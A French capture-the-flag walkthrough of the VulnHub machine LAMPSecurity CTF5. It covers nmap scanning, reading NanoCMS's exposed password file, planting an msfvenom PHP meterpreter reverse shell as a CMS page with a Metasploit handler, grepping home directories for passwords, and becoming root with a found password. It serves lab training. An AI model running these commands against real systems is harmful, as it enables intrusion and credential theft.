Aujourd’hui, nous allons nous attaquer au CTF LAMPSecurity: CTF5 que vous trouverez à cette adresse :
https://www.vulnhub.com/entry/lampsecurity-ctf5,84/
Pour rappel, on a généralement 4 phases dans un CTF :
- Reconnaissance
- Enumération
- Exploitation
- Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.57 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.57
Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)
De nombreux ports sont ouverts et comme d’habitude on va commencer par le port 80 (HTTP)
Enumeration :
Dans le menu, lorsqu’on clique sur « Blog », on obtient :
Ce blog tourne avec la technologie « NanoCMS ». En cherchant « nanocms exploit » dans un moteur de recherche, on obtient quelques pistes :
En suivant les instructions, on se rend sur l’url :
http://192.168.1.57/~andy/data/pagesdata.txt
Exploitation :
On obtient un mot de passe en md5 qui nous donne :
Username : admin
Password : shannon
Nous voilà connecté en admin sur le CMS :
Lorsque l’on prend le contrôle d’un CMS (droit administrateur), on va chercher à créer ou modifier une page pour injecter un reverse shell. On voit dans le menu l’option « New page » et d’après l’url, le CMS fonctionne à base de PHP.
On va donc créer un reverse shell en PHP
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.53 lport=4444 -f raw
On peut maintenant créer notre nouvelle page
On obtient un message de confirmation de la création de cette page et en se rendant sur le site, on voit apparaître l’entrée « shell » dans le menu de gauche.
On peut maintenant lancer une console Metasploit
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.53
set lport 4444
run
Lorsqu’on obtient notre première connexion, un réflexe sur ce type de CTF (machine un peu ancienne) est de regarder le type de système et si c’est du linux quel est le kernel
On va ouvrir un shell
shell
python -c ‘import pty;pty.spawn(« /bin/bash »)’
ls -al
pwd
cd /home
ls -al
On voit qu’on a 5 utilisateurs. On va essayer de chercher la mention « password »
grep -R -i password /home/*
Nous avons les droits pour l’ouverture du fichier :
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
On trouve un mot de passe en clair : 50$cent
Escalade de privilèges :
su –
whoami
id
Et voilà, nous sommes root !